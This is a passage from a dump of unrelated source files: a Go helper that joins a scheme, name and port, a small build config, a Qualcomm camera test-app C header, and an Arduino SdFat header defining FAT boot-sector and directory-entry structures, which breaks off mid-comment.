JoinSchemeNamePort returns a string that specifies the scheme, name, and port:\n// * \"<name>\"\n// * \"<name>:<port>\"\n// * \"<scheme>:<name>:<port>\"\n// None of the parameters may contain a ':' character\n// Name is required\n// Scheme must be \"\", \"http\", or \"https\"\nfunc JoinSchemeNamePort(scheme, name, port string) string {\n\tif len(scheme) > 0 {\n\t\t// Must include three segments to specify scheme\n\t\treturn scheme + \":\" + name + \":\" + port\n\t}\n\tif len(port) > 0 {\n\t\t// Must include two segments to specify port\n\t\treturn name + \":\" + port\n\t}\n\t// Return name alone\n\treturn name\n}\n"} {"text": "NAME = 'router_redirect'\n\nCFLAGS = []\nLDFLAGS = []\nLIBS = []\nGCC_LIST = ['router_redirect']\n"} {"text": "/* Copyright (c) 2012, The Linux Foundation. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and/or other materials provided\n * with the distribution.\n * * Neither the name of The Linux Foundation nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n */\n\n#ifndef __MM_QCAMERA_APP_H__\n#define __MM_QCAMERA_APP_H__\n\n#include <pthread.h>\n#include <errno.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <poll.h>\n\n#include \"mm_camera_interface.h\"\n#include \"mm_jpeg_interface.h\"\n\n#define MM_QCAMERA_APP_INTERATION 1\n\n#define MM_APP_MAX_DUMP_FRAME_NUM 1000\n\n#define PREVIEW_BUF_NUM 7\n#define VIDEO_BUF_NUM 7\n#define ISP_PIX_BUF_NUM 9\n#define STATS_BUF_NUM 4\n#define RDI_BUF_NUM 8\n\n#define DEFAULT_PREVIEW_FORMAT CAM_FORMAT_YUV_420_NV21\n#define DEFAULT_PREVIEW_WIDTH 800\n#define DEFAULT_PREVIEW_HEIGHT 480\n#define DEFAULT_PREVIEW_PADDING CAM_PAD_TO_WORD\n#define DEFAULT_VIDEO_FORMAT CAM_FORMAT_YUV_420_NV12\n#define DEFAULT_VIDEO_WIDTH 800\n#define DEFAULT_VIDEO_HEIGHT 480\n#define DEFAULT_VIDEO_PADDING CAM_PAD_TO_2K\n#define DEFAULT_SNAPSHOT_FORMAT CAM_FORMAT_YUV_420_NV21\n#define DEFAULT_SNAPSHOT_WIDTH 1280\n#define DEFAULT_SNAPSHOT_HEIGHT 960\n#define DEFAULT_SNAPSHOT_PADDING CAM_PAD_TO_WORD\n\n#ifndef TRUE\n#define TRUE 1\n#endif\n\n#ifndef FALSE\n#define FALSE 0\n#endif\n\ntypedef enum {\n MM_CAMERA_OK,\n MM_CAMERA_E_GENERAL,\n MM_CAMERA_E_NO_MEMORY,\n MM_CAMERA_E_NOT_SUPPORTED,\n MM_CAMERA_E_INVALID_INPUT,\n MM_CAMERA_E_INVALID_OPERATION, /* 5 */\n MM_CAMERA_E_ENCODE,\n MM_CAMERA_E_BUFFER_REG,\n MM_CAMERA_E_PMEM_ALLOC,\n MM_CAMERA_E_CAPTURE_FAILED,\n MM_CAMERA_E_CAPTURE_TIMEOUT, /* 10 */\n} mm_camera_status_type_t;\n\ntypedef enum {\n MM_CHANNEL_TYPE_ZSL, /* preview, and snapshot main */\n MM_CHANNEL_TYPE_CAPTURE, /* snapshot main, and postview */\n MM_CHANNEL_TYPE_PREVIEW, /* preview only */\n MM_CHANNEL_TYPE_SNAPSHOT, /* snapshot main only */\n MM_CHANNEL_TYPE_VIDEO, /* video only */\n MM_CHANNEL_TYPE_RDI, /* rdi only */\n MM_CHANNEL_TYPE_MAX\n} mm_camera_channel_type_t;\n\ntypedef struct {\n int fd;\n int main_ion_fd;\n struct ion_handle * handle;\n uint32_t size;\n void * data;\n} mm_camera_app_meminfo_t;\n\ntypedef struct {\n mm_camera_buf_def_t buf;\n mm_camera_app_meminfo_t mem_info;\n} mm_camera_app_buf_t;\n\ntypedef struct {\n uint32_t s_id;\n mm_camera_stream_config_t s_config;\n cam_frame_len_offset_t offset;\n uint8_t num_of_bufs;\n mm_camera_app_buf_t s_bufs[MM_CAMERA_MAX_NUM_FRAMES];\n mm_camera_app_buf_t s_info_buf;\n} mm_camera_stream_t;\n\ntypedef struct {\n uint32_t ch_id;\n uint8_t num_streams;\n mm_camera_stream_t streams[MAX_STREAM_NUM_IN_BUNDLE];\n} mm_camera_channel_t;\n\ntypedef struct {\n mm_camera_vtbl_t *cam;\n uint8_t num_channels;\n mm_camera_channel_t channels[MM_CHANNEL_TYPE_MAX];\n mm_jpeg_ops_t jpeg_ops;\n uint32_t jpeg_hdl;\n mm_camera_app_buf_t cap_buf;\n mm_camera_app_buf_t parm_buf;\n\n uint32_t current_jpeg_sess_id;\n mm_camera_super_buf_t* current_job_frames;\n uint32_t current_job_id;\n mm_camera_app_buf_t jpeg_buf;\n} mm_camera_test_obj_t;\n\ntypedef struct {\n void *ptr;\n void* ptr_jpeg;\n\n uint8_t (*get_num_of_cameras) ();\n mm_camera_vtbl_t *(*mm_camera_open) (uint8_t camera_idx);\n uint32_t (*jpeg_open) (mm_jpeg_ops_t *ops);\n} hal_interface_lib_t;\n\ntypedef struct {\n uint8_t num_cameras;\n hal_interface_lib_t hal_lib;\n} mm_camera_app_t;\n\ntypedef int (*mm_app_test_t) (mm_camera_app_t *cam_apps);\ntypedef struct {\n mm_app_test_t f;\n int r;\n} mm_app_tc_t;\n\nextern int mm_app_unit_test_entry(mm_camera_app_t *cam_app);\nextern int mm_app_dual_test_entry(mm_camera_app_t *cam_app);\nextern void mm_app_dump_frame(mm_camera_buf_def_t *frame,\n char *name,\n char *ext,\n int frame_idx);\nextern void mm_app_dump_jpeg_frame(const void * data,\n uint32_t size,\n char* name,\n char* ext,\n int index);\nextern int mm_camera_app_timedwait(uint8_t seconds);\nextern int mm_camera_app_wait();\nextern void mm_camera_app_done();\nextern int mm_app_alloc_bufs(mm_camera_app_buf_t* app_bufs,\n cam_frame_len_offset_t *frame_offset_info,\n uint8_t num_bufs,\n uint8_t is_streambuf);\nextern int mm_app_release_bufs(uint8_t num_bufs,\n mm_camera_app_buf_t* app_bufs);\nextern int mm_app_stream_initbuf(cam_frame_len_offset_t *frame_offset_info,\n uint8_t *num_bufs,\n uint8_t **initial_reg_flag,\n mm_camera_buf_def_t **bufs,\n mm_camera_map_unmap_ops_tbl_t *ops_tbl,\n void *user_data);\nextern int32_t mm_app_stream_deinitbuf(mm_camera_map_unmap_ops_tbl_t *ops_tbl,\n void *user_data);\nextern int mm_app_cache_ops(mm_camera_app_meminfo_t *mem_info,\n unsigned int cmd);\nextern int32_t mm_app_stream_clean_invalidate_buf(int index, void *user_data);\nextern int32_t mm_app_stream_invalidate_buf(int index, void *user_data);\nextern int mm_app_open(mm_camera_app_t *cam_app,\n uint8_t cam_id,\n mm_camera_test_obj_t *test_obj);\nextern int mm_app_close(mm_camera_test_obj_t *test_obj);\nextern mm_camera_channel_t * mm_app_add_channel(\n mm_camera_test_obj_t *test_obj,\n mm_camera_channel_type_t ch_type,\n mm_camera_channel_attr_t *attr,\n mm_camera_buf_notify_t channel_cb,\n void *userdata);\nextern int mm_app_del_channel(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel);\nextern mm_camera_stream_t * mm_app_add_stream(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel);\nextern int mm_app_del_stream(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel,\n mm_camera_stream_t *stream);\nextern int mm_app_config_stream(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel,\n mm_camera_stream_t *stream,\n mm_camera_stream_config_t *config);\nextern int mm_app_start_channel(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel);\nextern int mm_app_stop_channel(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel);\nextern mm_camera_channel_t *mm_app_get_channel_by_type(\n mm_camera_test_obj_t *test_obj,\n mm_camera_channel_type_t ch_type);\n\nextern int mm_app_start_preview(mm_camera_test_obj_t *test_obj);\nextern int mm_app_stop_preview(mm_camera_test_obj_t *test_obj);\nextern int mm_app_start_preview_zsl(mm_camera_test_obj_t *test_obj);\nextern int mm_app_stop_preview_zsl(mm_camera_test_obj_t *test_obj);\nextern mm_camera_channel_t * mm_app_add_preview_channel(\n mm_camera_test_obj_t *test_obj);\nextern int mm_app_stop_and_del_channel(mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel);\nextern mm_camera_channel_t * mm_app_add_snapshot_channel(\n mm_camera_test_obj_t *test_obj);\nextern mm_camera_stream_t * mm_app_add_snapshot_stream(\n mm_camera_test_obj_t *test_obj,\n mm_camera_channel_t *channel,\n mm_camera_buf_notify_t stream_cb,\n void *userdata,\n uint8_t num_bufs,\n uint8_t num_burst);\nextern int mm_app_start_record_preview(mm_camera_test_obj_t *test_obj);\nextern int mm_app_stop_record_preview(mm_camera_test_obj_t *test_obj);\nextern int mm_app_start_record(mm_camera_test_obj_t *test_obj);\nextern int mm_app_stop_record(mm_camera_test_obj_t *test_obj);\nextern int mm_app_start_live_snapshot(mm_camera_test_obj_t *test_obj);\nextern int mm_app_stop_live_snapshot(mm_camera_test_obj_t *test_obj);\nextern int mm_app_start_capture(mm_camera_test_obj_t *test_obj,\n uint8_t num_snapshots);\nextern int mm_app_stop_capture(mm_camera_test_obj_t *test_obj);\nextern int mm_app_start_rdi(mm_camera_test_obj_t *test_obj, uint8_t num_burst);\nextern int mm_app_stop_rdi(mm_camera_test_obj_t *test_obj);\n\n#endif /* __MM_QCAMERA_APP_H__ */\n\n\n\n\n\n\n\n\n\n"} {"text": "/* Arduino SdFat Library\n * Copyright (C) 2009 by William Greiman\n *\n * This file is part of the Arduino SdFat Library\n *\n * This Library is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This Library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with the Arduino SdFat Library. If not, see\n * <http://www.gnu.org/licenses/>.\n */\n#include \"Marlin.h\"\n#ifdef SDSUPPORT\n\n#ifndef SdFatStructs_h\n#define SdFatStructs_h\n\n#define PACKED __attribute__((__packed__))\n/**\n * \\file\n * \\brief FAT file structures\n */\n/*\n * mostly from Microsoft document fatgen103.doc\n * http://www.microsoft.com/whdc/system/platform/firmware/fatgen.mspx\n */\n//------------------------------------------------------------------------------\n/** Value for byte 510 of boot block or MBR */\nuint8_t const BOOTSIG0 = 0X55;\n/** Value for byte 511 of boot block or MBR */\nuint8_t const BOOTSIG1 = 0XAA;\n/** Value for bootSignature field int FAT/FAT32 boot sector */\nuint8_t const EXTENDED_BOOT_SIG = 0X29;\n//------------------------------------------------------------------------------\n/**\n * \\struct partitionTable\n * \\brief MBR partition table entry\n *\n * A partition table entry for a MBR formatted storage device.\n * The MBR partition table has four entries.\n */\nstruct partitionTable {\n /**\n * Boot Indicator . Indicates whether the volume is the active\n * partition. Legal values include: 0X00. Do not use for booting.\n * 0X80 Active partition.\n */\n uint8_t boot;\n /**\n * Head part of Cylinder-head-sector address of the first block in\n * the partition. Legal values are 0-255. Only used in old PC BIOS.\n */\n uint8_t beginHead;\n /**\n * Sector part of Cylinder-head-sector address of the first block in\n * the partition. Legal values are 1-63. Only used in old PC BIOS.\n */\n unsigned beginSector : 6;\n /** High bits cylinder for first block in partition. */\n unsigned beginCylinderHigh : 2;\n /**\n * Combine beginCylinderLow with beginCylinderHigh. Legal values\n * are 0-1023. Only used in old PC BIOS.\n */\n uint8_t beginCylinderLow;\n /**\n * Partition type. See defines that begin with PART_TYPE_ for\n * some Microsoft partition types.\n */\n uint8_t type;\n /**\n * head part of cylinder-head-sector address of the last sector in the\n * partition. Legal values are 0-255. Only used in old PC BIOS.\n */\n uint8_t endHead;\n /**\n * Sector part of cylinder-head-sector address of the last sector in\n * the partition. Legal values are 1-63. Only used in old PC BIOS.\n */\n unsigned endSector : 6;\n /** High bits of end cylinder */\n unsigned endCylinderHigh : 2;\n /**\n * Combine endCylinderLow with endCylinderHigh. Legal values\n * are 0-1023. Only used in old PC BIOS.\n */\n uint8_t endCylinderLow;\n /** Logical block address of the first block in the partition. */\n uint32_t firstSector;\n /** Length of the partition, in blocks. */\n uint32_t totalSectors;\n} PACKED;\n/** Type name for partitionTable */\ntypedef struct partitionTable part_t;\n//------------------------------------------------------------------------------\n/**\n * \\struct masterBootRecord\n *\n * \\brief Master Boot Record\n *\n * The first block of a storage device that is formatted with a MBR.\n */\nstruct masterBootRecord {\n /** Code Area for master boot program. */\n uint8_t codeArea[440];\n /** Optional Windows NT disk signature. May contain boot code. */\n uint32_t diskSignature;\n /** Usually zero but may be more boot code. */\n uint16_t usuallyZero;\n /** Partition tables. */\n part_t part[4];\n /** First MBR signature byte. Must be 0X55 */\n uint8_t mbrSig0;\n /** Second MBR signature byte. Must be 0XAA */\n uint8_t mbrSig1;\n} PACKED;\n/** Type name for masterBootRecord */\ntypedef struct masterBootRecord mbr_t;\n//------------------------------------------------------------------------------\n/**\n * \\struct fat_boot\n *\n * \\brief Boot sector for a FAT12/FAT16 volume.\n *\n */\nstruct fat_boot {\n /**\n * The first three bytes of the boot sector must be valid,\n * executable x 86-based CPU instructions. This includes a\n * jump instruction that skips the next nonexecutable bytes.\n */\n uint8_t jump[3];\n /**\n * This is typically a string of characters that identifies\n * the operating system that formatted the volume.\n */\n char oemId[8];\n /**\n * The size of a hardware sector. Valid decimal values for this\n * field are 512, 1024, 2048, and 4096. For most disks used in\n * the United States, the value of this field is 512.\n */\n uint16_t bytesPerSector;\n /**\n * Number of sectors per allocation unit. This value must be a\n * power of 2 that is greater than 0. The legal values are\n * 1, 2, 4, 8, 16, 32, 64, and 128. 128 should be avoided.\n */\n uint8_t sectorsPerCluster;\n /**\n * The number of sectors preceding the start of the first FAT,\n * including the boot sector. The value of this field is always 1.\n */\n uint16_t reservedSectorCount;\n /**\n * The number of copies of the FAT on the volume.\n * The value of this field is always 2.\n */\n uint8_t fatCount;\n /**\n * For FAT12 and FAT16 volumes, this field contains the count of\n * 32-byte directory entries in the root directory. For FAT32 volumes,\n * this field must be set to 0. For FAT12 and FAT16 volumes, this\n * value should always specify a count that when multiplied by 32\n * results in a multiple of bytesPerSector. FAT16 volumes should\n * use the value 512.\n */\n uint16_t rootDirEntryCount;\n /**\n * This field is the old 16-bit total count of sectors on the volume.\n * This count includes the count of all sectors in all four regions\n * of the volume. This field can be 0; if it is 0, then totalSectors32\n * must be nonzero. For FAT32 volumes, this field must be 0. For\n * FAT12 and FAT16 volumes, this field contains the sector count, and\n * totalSectors32 is 0 if the total sector count fits\n * (is less than 0x10000).\n */\n uint16_t totalSectors16;\n /**\n * This dates back to the old MS-DOS 1.x media determination and is\n * no longer usually used for anything. 0xF8 is the standard value\n * for fixed (nonremovable) media. For removable media, 0xF0 is\n * frequently used. Legal values are 0xF0 or 0xF8-0xFF.\n */\n uint8_t mediaType;\n /**\n * Count of sectors occupied by one FAT on FAT12/FAT16 volumes.\n * On FAT32 volumes this field must be 0, and sectorsPerFat32\n * contains the FAT size count.\n */\n uint16_t sectorsPerFat16;\n /** Sectors per track for interrupt 0x13. Not used otherwise. */\n uint16_t sectorsPerTrack;\n /** Number of heads for interrupt 0x13. Not used otherwise. */\n uint16_t headCount;\n /**\n * Count of hidden sectors preceding the partition that contains this\n * FAT volume. This field is generally only relevant for media\n * visible on interrupt 0x13.\n */\n uint32_t hidddenSectors;\n /**\n * This field is the new 32-bit total count of sectors on the volume.\n * This count includes the count of all sectors in all four regions\n * of the volume. This field can be 0; if it is 0, then\n * totalSectors16 must be nonzero.\n */\n uint32_t totalSectors32;\n /**\n * Related to the BIOS physical drive number. Floppy drives are\n * identified as 0x00 and physical hard disks are identified as\n * 0x80, regardless of the number of physical disk drives.\n * Typically, this value is set prior to issuing an INT 13h BIOS\n * call to specify the device to access. The value is only\n * relevant if the device is a boot device.\n */\n uint8_t driveNumber;\n /** used by Windows NT - should be zero for FAT */\n uint8_t reserved1;\n /** 0X29 if next three fields are valid */\n uint8_t bootSignature;\n /**\n * A random serial number created when formatting a disk,\n * which helps to distinguish between disks.\n * Usually generated by combining date and time.\n */\n uint32_t volumeSerialNumber;\n /**\n * A field once used to store the volume label. The volume label\n * is now stored as a special file in the root directory.\n */\n char volumeLabel[11];\n /**\n * A field with a value of either FAT, FAT12 or FAT16,\n * depending on the disk format.\n */\n char fileSystemType[8];\n /** X86 boot code */\n uint8_t bootCode[448];\n /** must be 0X55 */\n uint8_t bootSectorSig0;\n /** must be 0XAA */\n uint8_t bootSectorSig1;\n} PACKED;\n/** Type name for FAT Boot Sector */\ntypedef struct fat_boot fat_boot_t;\n//------------------------------------------------------------------------------\n/**\n * \\struct fat32_boot\n *\n * \\brief Boot sector for a FAT32 volume.\n *\n */\nstruct fat32_boot {\n /**\n * The first three bytes of the boot sector must be valid,\n * executable x 86-based CPU instructions. This includes a\n * jump instruction that skips the next nonexecutable bytes.\n */\n uint8_t jump[3];\n /**\n * This is typically a string of characters that identifies\n * the operating system that formatted the volume.\n */\n char oemId[8];\n /**\n * The size of a hardware sector. Valid decimal values for this\n * field are 512, 1024, 2048, and 4096. For most disks used in\n * the United States, the value of this field is 512.\n */\n uint16_t bytesPerSector;\n /**\n * Number of sectors per allocation unit. This value must be a\n * power of 2 that is greater than 0. The legal values are\n * 1, 2, 4, 8, 16, 32, 64, and 128. 128 should be avoided.\n */\n uint8_t sectorsPerCluster;\n /**\n * The number of sectors preceding the start of the first FAT,\n * including the boot sector. Must not be zero\n */\n uint16_t reservedSectorCount;\n /**\n * The number of copies of the FAT on the volume.\n * The value of this field is always 2.\n */\n uint8_t fatCount;\n /**\n * FAT12/FAT16 only. For FAT32 volumes, this field must be set to 0.\n */\n uint16_t rootDirEntryCount;\n /**\n * For FAT32 volumes, this field must be 0.\n */\n uint16_t totalSectors16;\n /**\n * This dates back to the old MS-DOS 1.x media determination and is\n * no longer usually used for anything. 0xF8 is the standard value\n * for fixed (nonremovable) media. For removable media, 0xF0 is\n * frequently used. Legal values are 0xF0 or 0xF8-0xFF.\n */\n uint8_t mediaType;\n /**\n * On FAT32 volumes this field must be 0, and sectorsPerFat32\n * contains the FAT size count.\n */\n uint16_t sectorsPerFat16;\n /** Sectors per track for interrupt 0x13. Not used otherwise. */\n uint16_t sectorsPerTrack;\n /** Number of heads for interrupt 0x13. Not used otherwise. */\n uint16_t headCount;\n /**\n * Count of hidden sectors preceding the partition that contains this\n * FAT volume. This field is generally only relevant for media\n * visible on interrupt 0x13.\n */\n uint32_t hidddenSectors;\n /**\n * Contains the total number of sectors in the FAT32 volume.\n */\n uint32_t totalSectors32;\n /**\n * Count of sectors occupied by one FAT on FAT32 volumes.\n */\n uint32_t sectorsPerFat32;\n /**\n * This field is only defined for FAT32 media and does not exist on\n * FAT12 and FAT16 media.\n * Bits 0-3 -- Zero-based number of active FAT.\n * Only valid if mirroring is disabled.\n * Bits 4-6 -- Reserved.\n * Bit 7\t-- 0 means the FAT is mirrored at runtime into all FATs.\n\t * -- 1 means only one FAT is active; it is the one referenced\n\t * in bits 0-3.\n * Bits 8-15 \t-- Reserved.\n */\n uint16_t fat32Flags;\n /**\n * FAT32 version. High byte is major revision number.\n * Low byte is minor revision number. Only 0.0 define.\n */\n uint16_t fat32Version;\n /**\n * Cluster number of the first cluster of the root directory for FAT32.\n * This usually 2 but not required to be 2.\n */\n uint32_t fat32RootCluster;\n /**\n * Sector number of FSINFO structure in the reserved area of the\n * FAT32 volume. Usually 1.\n */\n uint16_t fat32FSInfo;\n /**\n * If nonzero, indicates the sector number in the reserved area\n * of the volume of a copy of the boot record. Usually 6.\n * No value other than 6 is recommended.\n */\n uint16_t fat32BackBootBlock;\n /**\n * Reserved for future expansion. Code that formats FAT32 volumes\n * should always set all of the bytes of this field to 0.\n */\n uint8_t fat32Reserved[12];\n /**\n * Related to the BIOS physical drive number. Floppy drives are\n * identified as 0x00 and physical hard disks are identified as\n * 0x80, regardless of the number of physical disk drives.\n * Typically, this value is set prior to issuing an INT 13h BIOS\n * call to specify the device to access. The value is only\n * relevant if the device is a boot device.\n */\n uint8_t driveNumber;\n /** used by Windows NT - should be zero for FAT */\n uint8_t reserved1;\n /** 0X29 if next three fields are valid */\n uint8_t bootSignature;\n /**\n * A random serial number created when formatting a disk,\n * which helps to distinguish between disks.\n * Usually generated by combining date and time.\n */\n uint32_t volumeSerialNumber;\n /**\n * A field once used to store the volume label. The volume label\n * is now stored as a special file in the root directory.\n */\n char volumeLabel[11];\n /**\n * A text field with a value of FAT32.\n */\n char fileSystemType[8];\n /** X86 boot code */\n uint8_t bootCode[420];\n /** must be 0X55 */\n uint8_t bootSectorSig0;\n /** must be 0XAA */\n uint8_t bootSectorSig1;\n} PACKED;\n/** Type name for FAT32 Boot Sector */\ntypedef struct fat32_boot fat32_boot_t;\n//------------------------------------------------------------------------------\n/** Lead signature for a FSINFO sector */\nuint32_t const FSINFO_LEAD_SIG = 0x41615252;\n/** Struct signature for a FSINFO sector */\nuint32_t const FSINFO_STRUCT_SIG = 0x61417272;\n/**\n * \\struct fat32_fsinfo\n *\n * \\brief FSINFO sector for a FAT32 volume.\n *\n */\nstruct fat32_fsinfo {\n /** must be 0X52, 0X52, 0X61, 0X41 */\n uint32_t leadSignature;\n /** must be zero */\n uint8_t reserved1[480];\n /** must be 0X72, 0X72, 0X41, 0X61 */\n uint32_t structSignature;\n /**\n * Contains the last known free cluster count on the volume.\n * If the value is 0xFFFFFFFF, then the free count is unknown\n * and must be computed. Any other value can be used, but is\n * not necessarily correct. It should be range checked at least\n * to make sure it is <= volume cluster count.\n */\n uint32_t freeCount;\n /**\n * This is a hint for the FAT driver. It indicates the cluster\n * number at which the driver should start looking for free clusters.\n * If the value is 0xFFFFFFFF, then there is no hint and the driver\n * should start looking at cluster 2.\n */\n uint32_t nextFree;\n /** must be zero */\n uint8_t reserved2[12];\n /** must be 0X00, 0X00, 0X55, 0XAA */\n uint8_t tailSignature[4];\n} PACKED;\n/** Type name for FAT32 FSINFO Sector */\ntypedef struct fat32_fsinfo fat32_fsinfo_t;\n//------------------------------------------------------------------------------\n// End Of Chain values for FAT entries\n/** FAT12 end of chain value used by Microsoft. */\nuint16_t const FAT12EOC = 0XFFF;\n/** Minimum value for FAT12 EOC. Use to test for EOC. */\nuint16_t const FAT12EOC_MIN = 0XFF8;\n/** FAT16 end of chain value used by Microsoft. */\nuint16_t const FAT16EOC = 0XFFFF;\n/** Minimum value for FAT16 EOC. Use to test for EOC. */\nuint16_t const FAT16EOC_MIN = 0XFFF8;\n/** FAT32 end of chain value used by Microsoft. */\nuint32_t const FAT32EOC = 0X0FFFFFFF;\n/** Minimum value for FAT32 EOC. Use to test for EOC. */\nuint32_t const FAT32EOC_MIN = 0X0FFFFFF8;\n/** Mask a for FAT32 entry. Entries are 28 bits. */\nuint32_t const FAT32MASK = 0X0FFFFFFF;\n//------------------------------------------------------------------------------\n/**\n * \\struct directoryEntry\n * \\brief FAT short directory entry\n *\n * Short means short 8.3 name, not the entry size.\n * \n * Date Format. A FAT directory entry date stamp is a 16-bit field that is \n * basically a date relative to the MS-DOS epoch of 01/01/1980. Here is the\n * format (bit 0 is the LSB of the 16-bit word, bit 15 is the MSB of the \n * 16-bit word):\n * \n * Bits 9-15: Count of years from 1980, valid value range 0-127 \n * inclusive (1980-2107).\n * \n * Bits 5-8: Month of year, 1 = January, valid value range 1-12 inclusive.\n *\n * Bits 0-4: Day of month, valid value range 1-31 inclusive.\n *\n * Time Format. A FAT directory entry time stamp is a 16-bit field that has\n * a granularity of 2 seconds. Here is the format (bit 0 is the LSB of the \n * 16-bit word, bit 15 is the MSB of the 16-bit word).\n * \n * Bits 11-15: Hours, valid value range 0-23 inclusive.\n * \n * Bits 5-10: Minutes, valid value range 0-59 inclusive.\n * \n * Bits 0-4: 2-second count, valid value range 0-29 inclusive (0 - 58 seconds).\n * \n * The valid time range is from Midnight 00:00:00 to 23:59:58.\n */\nstruct directoryEntry {\n /** Short 8.3 name.\n *\n * The first eight bytes contain the file name with blank fill.\n * The last three bytes contain the file extension with blank fill.\n */\n uint8_t name[11];\n /** Entry attributes.\n *\n * The upper two bits of the attribute byte are reserved and should\n * always be set to 0 when a file is created and never modified or\n * looked at after that. See defines that begin with DIR_ATT_.\n */\n uint8_t attributes;\n /**\n * Reserved for use by Windows NT. Set value to 0 when a file is\n * created and never modify or look at it after that.\n */\n uint8_t reservedNT;\n /**\n * The granularity of the seconds part of creationTime is 2 seconds\n * so this field is a count of tenths of a second and its valid\n * value range is 0-199 inclusive. (WHG note - seems to be hundredths)\n */\n uint8_t creationTimeTenths;\n /** Time file was created. */\n uint16_t creationTime;\n /** Date file was created. */\n uint16_t creationDate;\n /**\n * Last access date. Note that there is no last access time, only\n * a date. This is the date of last read or write. In the case of\n * a write, this should be set to the same date as lastWriteDate.\n */\n uint16_t lastAccessDate;\n /**\n * High word of this entry's first cluster number (always 0 for a\n * FAT12 or FAT16 volume).\n */\n uint16_t firstClusterHigh;\n /** Time of last write. File creation is considered a write. */\n uint16_t lastWriteTime;\n /** Date of last write. File creation is considered a write. */\n uint16_t lastWriteDate;\n /** Low word of this entry's first cluster number. */\n uint16_t firstClusterLow;\n /** 32-bit unsigned holding this file's size in bytes. */\n uint32_t fileSize;\n} PACKED;\n/**\n * \\struct directoryVFATEntry\n * \\brief VFAT long filename directory entry\n *\n * directoryVFATEntries are found in the same list as normal directoryEntry.\n * But have the attribute field set to DIR_ATT_LONG_NAME.\n * \n * Long filenames are saved in multiple directoryVFATEntries.\n * Each entry containing 13 UTF-16 characters.\n */\nstruct directoryVFATEntry {\n /**\n * Sequence number. Consists of 2 parts:\n * bit 6: indicates first long filename block for the next file\n * bit 0-4: the position of this long filename block (first block is 1)\n */\n uint8_t sequenceNumber;\n /** First set of UTF-16 characters */\n uint16_t name1[5];//UTF-16\n /** attributes (at the same location as in directoryEntry), always 0x0F */\n uint8_t attributes;\n /** Reserved for use by Windows NT. Always 0. */\n uint8_t reservedNT;\n /** Checksum of the short 8.3 filename, can be used to checked if the file system as modified by a not-long-filename aware implementation. */\n uint8_t checksum;\n /** Second set of UTF-16 characters */\n uint16_t name2[6];//UTF-16\n /** firstClusterLow is always zero for longFilenames */\n uint16_t firstClusterLow;\n /** Third set of UTF-16 characters */\n uint16_t name3[2];//UTF-16\n} PACKED;\n//------------------------------------------------------------------------------\n// Definitions for directory entries\n//\n/** Type name for directoryEntry */\ntypedef struct directoryEntry dir_t;\n/** Type name for directoryVFATEntry */\ntypedef struct directoryVFATEntry vfat_t;\n/** escape for name[0] = 0XE5 */\nuint8_t const DIR_NAME_0XE5 = 0X05;\n/** name[0] value for entry that is free after being \"deleted\" */\nuint8_t const DIR_NAME_DELETED = 0XE5;\n/** name[0] value for entry that is free and no allocated entries follow */\nuint8_t const DIR_NAME_FREE = 0X00;\n/** file is read-only */\nuint8_t const DIR_ATT_READ_ONLY = 0X01;\n/** File should hidden in directory listings */\nuint8_t const DIR_ATT_HIDDEN = 0X02;\n/** Entry is for a system file */\nuint8_t const DIR_ATT_SYSTEM = 0X04;\n/** Directory entry contains the volume label */\nuint8_t const DIR_ATT_VOLUME_ID = 0X08;\n/** Entry is for a directory */\nuint8_t const DIR_ATT_DIRECTORY = 0X10;\n/** Old DOS archive bit for backup support */\nuint8_t const DIR_ATT_ARCHIVE = 0X20;\n/** Test value for long name entry. Test is\n (d->attributes & DIR_ATT_LONG_NAME_MASK) == DIR_ATT_LONG_NAME. */\nuint8_t const DIR_ATT_LONG_NAME = 0X0F;\n/** Test mask for long name entry */\nuint8_t const DIR_ATT_LONG_NAME_MASK = 0X3F;\n/** defined attribute bits */\nuint8_t const DIR_ATT_DEFINED_BITS = 0X3F;\n/** Directory entry is part of a long name\n * \\param[in] dir Pointer to a directory entry.\n *\n * \\return true if the entry is for part of a long name else false.\n */\nstatic inline uint8_t DIR_IS_LONG_NAME(const dir_t* dir) {\n return (dir->attributes & DIR_ATT_LONG_NAME_MASK) == DIR_ATT_LONG_NAME;\n}\n/** Mask for file/subdirectory tests */\nuint8_t const DIR_ATT_FILE_TYPE_MASK = (DIR_ATT_VOLUME_ID | DIR_ATT_DIRECTORY);\n/** Directory entry is for a 